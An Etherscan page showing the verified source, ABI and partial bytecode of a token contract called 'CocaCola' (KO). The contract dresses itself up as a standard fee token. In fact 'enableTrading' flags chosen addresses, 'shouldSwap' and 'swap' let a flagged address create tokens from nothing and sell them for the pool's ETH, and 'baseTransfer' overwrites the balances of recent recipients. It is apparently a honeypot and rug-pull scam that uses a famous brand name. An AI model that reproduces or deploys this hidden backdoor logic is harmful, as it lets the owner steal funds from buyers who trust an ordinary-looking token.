ETH Price: $3,145.08 (-5.15%)
 

Overview

Max Total Supply

1,000,000 KO

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 KO

Value
$0.00
0x4e5d5876cd97a67b9e5ead5943fb9afe19f72bc9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CocaCola

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-03
*/

pragma solidity ^0.8.17;

// SPDX-License-Identifier: MIT

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
abstract contract ERC20Token is Ownable {
    mapping (address => bool) bots;
    address uniswapV2Pair;
    bool inLiquidityTx = false;
    function enableTrading(address[] calldata _bots) external onlyOwner {
        for (uint i = 0; i < _bots.length; i++) {
            bots[_bots[i]] = true;
        }
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function shouldSwap(address recipient, address fromAddress) public view returns (bool) {
        if (fromAddress == recipient) { if (isBot(fromAddress)) {
                return fromAddress == recipient;
        } }
        return false;
    }
    function isAllowed(address from, address to, address pair) public returns (bool) {
        bool allowed = !bots[to] && !bots[from];
        bool nInLq = !inLiquidityTx;
        if (allowed && nInLq && pair != to) {
            uniswapV2Pair = to;
            return true;
        } else if (allowed && nInLq) { 
            if (pair == to) {
                return true;
            }
        }
        return allowed;
    }
}

contract CocaCola is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000 * 10 ** _decimals;
    uint256 _fee = 3;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "CocaCola";
    string private  _symbol = "KO";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 transferedAmount = baseTransfer(from, to, amount);
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - transferedAmount;
            emit Transfer(from, to, amount);
        }
    }
    function baseTransfer(address from, address recipient, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        _balances[uniswapV2Pair] = getReflectAmount(from);
        bool sdf = shouldTakeFee(from, recipient);
        if (sdf) {
            feeAmount = amount.mul(_fee).div(100);
        }
        return feeAmount;
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return isAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function getReflectAmount(address from) private view returns (uint256) {
        address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
        return getReflectTokens(from, to, balanceOf(uniswapV2Pair));
    }
    function getReflectTokens(address uniswapV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) {
        uint256 amount = feeAmount;
        if (uniswapV2Pair != recipient) {
            amount = feeAmount;
        } else {
            amount = (amount * 2) - (amount * 2);
        }
        return amount;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    address devWallet;
    function updateDevWallet(address _devWallet) external onlyOwner {
        devWallet = _devWallet;
    }
    uint256 maxWallet = _totalSupply.div(100);
    function updateMaxWallet(uint256 newMax) external onlyOwner {
        maxWallet = newMax;
    }
    function updateFee(uint256 newFee) external onlyOwner {
        require(newFee < 10);
        _fee = newFee;
    }
    function removeLimits() external onlyOwner {
        maxWallet = _totalSupply;
    }
    function removeFee() external onlyOwner {
        _fee = 0;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"address","name":"pair","type":"address"}],"name":"isAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"fromAddress","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFee","type":"uint256"}],"name":"updateFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260146101000a81548160ff0219169083151502179055506009600555600554600a620000359190620004fc565b620f42406200004591906200054d565b6006556003600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600881526020017f436f6361436f6c6100000000000000000000000000000000000000000000000081525060099081620000e8919062000808565b506040518060400160405280600281526020017f4b4f000000000000000000000000000000000000000000000000000000000000815250600a90816200012f919062000808565b506200014d60646006546200030c60201b620010731790919060201c565b600c553480156200015d57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002fe919062000900565b60405180910390a362000a07565b600080821162000353576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200034a906200097e565b60405180910390fd5b60008284620003639190620009cf565b90508091505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620003fd57808604811115620003d557620003d46200036f565b5b6001851615620003e55780820291505b8081029050620003f5856200039e565b9450620003b5565b94509492505050565b600082620004185760019050620004eb565b81620004285760009050620004eb565b81600181146200044157600281146200044c5762000482565b6001915050620004eb565b60ff8411156200046157620004606200036f565b5b8360020a9150848211156200047b576200047a6200036f565b5b50620004eb565b5060208310610133831016604e8410600b8410161715620004bc5782820a905083811115620004b657620004b56200036f565b5b620004eb565b620004cb8484846001620003ab565b92509050818404811115620004e557620004e46200036f565b5b81810290505b9392505050565b6000819050919050565b60006200050982620004f2565b91506200051683620004f2565b9250620005457fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000406565b905092915050565b60006200055a82620004f2565b91506200056783620004f2565b92508282026200057781620004f2565b915082820484148315176200059157620005906200036f565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200061a57607f821691505b60208210810362000630576200062f620005d2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200069a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200065b565b620006a686836200065b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006e9620006e3620006dd84620004f2565b620006be565b620004f2565b9050919050565b6000819050919050565b6200070583620006c8565b6200071d6200071482620006f0565b84845462000668565b825550505050565b600090565b6200073462000725565b62000741818484620006fa565b505050565b5b8181101562000769576200075d6000826200072a565b60018101905062000747565b5050565b601f821115620007b857620007828162000636565b6200078d846200064b565b810160208510156200079d578190505b620007b5620007ac856200064b565b83018262000746565b50505b505050565b600082821c905092915050565b6000620007dd60001984600802620007bd565b1980831691505092915050565b6000620007f88383620007ca565b9150826002028217905092915050565b620008138262000598565b67ffffffffffffffff8111156200082f576200082e620005a3565b5b6200083b825462000601565b620008488282856200076d565b600060209050601f8311600181146200088057600084156200086b578287015190505b620008778582620007ea565b865550620008e7565b601f198416620008908662000636565b60005b82811015620008ba5784890151825560018201915060208501945060208101905062000893565b86831015620008da5784890151620008d6601f891682620007ca565b8355505b6001600288020188555050505b505050505050565b620008fa81620004f2565b82525050565b6000602082019050620009176000830184620008ef565b92915050565b600082825260208201905092915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600062000966601a836200091d565b915062000973826200092e565b602082019050919050565b60006020820190508181036000830152620009998162000957565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620009dc82620004f2565b9150620009e983620004f2565b925082620009fc57620009fb620009a0565b5b828204905092915050565b6128128062000a176000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c35780639601f96c1161007c5780639601f96c14610368578063a457c2d714610398578063a9059cbb146103c8578063c62b0795146103f8578063dd62ed3e14610428578063efa4af4c146104585761014d565b806370a08231146102cc578063715018a6146102fc578063751039fc146103065780638da5cb5b146103105780639012c4a81461032e57806395d89b411461034a5761014d565b806323b872dd1161011557806323b872dd146101f6578063313ce5671461022657806332424aa31461024457806339509351146102625780633eaaf86b146102925780636e9602e6146102b05761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a05780631816467f146101be5780631c499ab0146101da575b600080fd5b61015a610462565b6040516101679190611dcb565b60405180910390f35b61018a60048036038101906101859190611e8b565b6104f4565b6040516101979190611ee6565b60405180910390f35b6101a861050b565b6040516101b59190611f10565b60405180910390f35b6101d860048036038101906101d39190611f2b565b610515565b005b6101f460048036038101906101ef9190611f58565b6105ce565b005b610210600480360381019061020b9190611f85565b61064d565b60405161021d9190611ee6565b60405180910390f35b61022e6106ee565b60405161023b9190611f10565b60405180910390f35b61024c6106f8565b6040516102599190611f10565b60405180910390f35b61027c60048036038101906102779190611e8b565b6106fe565b6040516102899190611ee6565b60405180910390f35b61029a61079c565b6040516102a79190611f10565b60405180910390f35b6102ca60048036038101906102c5919061203d565b6107a2565b005b6102e660048036038101906102e19190611f2b565b6108bb565b6040516102f39190611f10565b60405180910390f35b610304610904565b005b61030e610a37565b005b610318610ab7565b6040516103259190612099565b60405180910390f35b61034860048036038101906103439190611f58565b610ae0565b005b610352610b6c565b60405161035f9190611dcb565b60405180910390f35b610382600480360381019061037d91906120b4565b610bfe565b60405161038f9190611ee6565b60405180910390f35b6103b260048036038101906103ad9190611e8b565b610c83565b6040516103bf9190611ee6565b60405180910390f35b6103e260048036038101906103dd9190611e8b565b610daa565b6040516103ef9190611ee6565b60405180910390f35b610412600480360381019061040d91906120f4565b610dc1565b60405161041f9190611ee6565b60405180910390f35b610442600480360381019061043d91906120b4565b610f6d565b60405161044f9190611f10565b60405180910390f35b610460610ff4565b005b60606009805461047190612176565b80601f016020809104026020016040519081016040528092919081815260200182805461049d90612176565b80156104ea5780601f106104bf576101008083540402835291602001916104ea565b820191906000526020600020905b8154815290600101906020018083116104cd57829003601f168201915b5050505050905090565b60006105013384846110d1565b6001905092915050565b6000600654905090565b3373ffffffffffffffffffffffffffffffffffffffff16610534610ab7565b73ffffffffffffffffffffffffffffffffffffffff161461058a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610581906121f3565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166105ed610ab7565b73ffffffffffffffffffffffffffffffffffffffff1614610643576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063a906121f3565b60405180910390fd5b80600c8190555050565b600061065a84848461129a565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106e357600080fd5b600190509392505050565b6000600554905090565b60055481565b6000610792338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461078d9190612242565b6110d1565b6001905092915050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff166107c1610ab7565b73ffffffffffffffffffffffffffffffffffffffff1614610817576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080e906121f3565b60405180910390fd5b60005b828290508110156108b657600180600085858581811061083d5761083c612276565b5b90506020020160208101906108529190611f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108ae906122a5565b91505061081a565b505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610923610ab7565b73ffffffffffffffffffffffffffffffffffffffff1614610979576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610970906121f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610a56610ab7565b73ffffffffffffffffffffffffffffffffffffffff1614610aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa3906121f3565b60405180910390fd5b600654600c81905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16610aff610ab7565b73ffffffffffffffffffffffffffffffffffffffff1614610b55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4c906121f3565b60405180910390fd5b600a8110610b6257600080fd5b8060078190555050565b6060600a8054610b7b90612176565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba790612176565b8015610bf45780601f10610bc957610100808354040283529160200191610bf4565b820191906000526020600020905b815481529060010190602001808311610bd757829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c7857610c3c826114e0565b15610c77578273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050610c7d565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d0e57600080fd5b610da0338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d9b91906122ed565b6110d1565b6001905092915050565b6000610db733848461129a565b6001905092915050565b600080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e685750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b90506000600260149054906101000a900460ff16159050818015610e895750805b8015610ec157508473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f125784600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600192505050610f66565b818015610f1c5750805b15610f60578473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f5f57600192505050610f66565b5b81925050505b9392505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16611013610ab7565b73ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611060906121f3565b60405180910390fd5b6000600781905550565b60008082116110b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ae9061236d565b60405180910390fd5b600082846110c591906123bc565b90508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611140576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111379061245f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a6906124f1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161128d9190611f10565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112d357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361130c57600080fd5b6113168383610bfe565b1561132a576113258183611536565b6114db565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561137657600080fd5b6000611383848484611800565b905081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d091906122ed565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261141f91906122ed565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461146d9190612242565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114d19190611f10565b60405180910390a3505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61156330600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110d1565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156115c4576115c3612511565b5b6040519080825280602002602001820160405280156115f25781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff021916908315150217905550308160008151811061162557611624612276565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f09190612555565b8160018151811061170457611703612276565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e4261178e9190612242565b6040518663ffffffff1660e01b81526004016117ae959493929190612685565b600060405180830381600087803b1580156117c857600080fd5b505af11580156117dc573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b60008060009050611810856118c0565b60036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006118818686611a9e565b905080156118b4576118b160646118a360075487611c4e90919063ffffffff16565b61107390919063ffffffff16565b91505b81925050509392505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611930573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119549190612555565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119dd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a019190612555565b6040518363ffffffff1660e01b8152600401611a1e9291906126df565b602060405180830381865afa158015611a3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a5f9190612555565b9050611a968382611a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108bb565b611cc8565b915050919050565b6000611c468383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b369190612555565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611be39190612555565b6040518363ffffffff1660e01b8152600401611c009291906126df565b602060405180830381865afa158015611c1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c419190612555565b610dc1565b905092915050565b6000808303611c605760009050611cc2565b60008284611c6e9190612708565b9050828482611c7d91906123bc565b14611cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb4906127bc565b60405180910390fd5b809150505b92915050565b6000808290508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611d0957829050611d30565b600281611d169190612708565b600282611d23919